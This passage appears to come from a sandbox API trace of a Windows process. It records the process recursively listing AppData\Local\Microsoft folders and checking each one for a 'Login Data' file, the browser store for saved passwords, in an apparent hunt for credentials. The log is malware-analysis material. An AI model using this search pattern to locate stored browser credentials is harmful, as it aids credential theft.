ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.089] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd471b2f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd471b2f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x9a04c, dwReserved0=0x0, dwReserved1=0x0, cFileName="flat_officeFontsPreview.ttf", cAlternateFileName="FLAT_O~1.TTF")) returned 1 [0201.089] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd471b2f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd471b2f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x9a04c, dwReserved0=0x0, dwReserved1=0x0, cFileName="flat_officeFontsPreview.ttf", cAlternateFileName="FLAT_O~1.TTF")) returned 0 [0201.089] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0201.089] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\PreviewFont\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.090] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0201.090] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.090] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0201.090] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0201.090] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0201.090] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.091] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0201.091] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.091] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0201.091] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 0 [0201.091] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0201.091] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.092] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0201.092] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.092] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.0", cAlternateFileName="")) returned 1 [0201.092] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.0", cAlternateFileName="")) returned 0 [0201.093] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.093] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.093] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.093] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.094] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMEJP", cAlternateFileName="")) returned 1 [0201.094] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMEJP", cAlternateFileName="")) returned 0 [0201.094] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.094] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.094] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0201.095] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.095] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x2299957b, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x2299957b, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0201.095] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dicts", cAlternateFileName="")) returned 1 [0201.095] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dicts", cAlternateFileName="")) returned 0 [0201.095] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.095] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.096] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP\\Cache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x2299957b, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x2299957b, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0201.096] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x2299957b, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x2299957b, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.096] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2ed0fc, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0x2299957b, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x2299957b, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="imjp15cache.dat", cAlternateFileName="IMJP15~1.DAT")) returned 1 [0201.097] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2ed0fc, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0x2299957b, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x2299957b, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="imjp15cache.dat.back", cAlternateFileName="IMJP15~1.BAC")) returned 1 [0201.097] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2ed0fc, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0x2299957b, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x2299957b, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="imjp15cache.dat.back", cAlternateFileName="IMJP15~1.BAC")) returned 0 [0201.097] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.097] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP\\Cache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.097] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP\\Dicts\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0201.098] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.098] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.098] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.098] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\IMEJP\\Dicts\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.099] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0201.099] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.099] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="neutral", cAlternateFileName="")) returned 1 [0201.099] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="neutral", cAlternateFileName="")) returned 0 [0201.099] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.099] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.100] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, 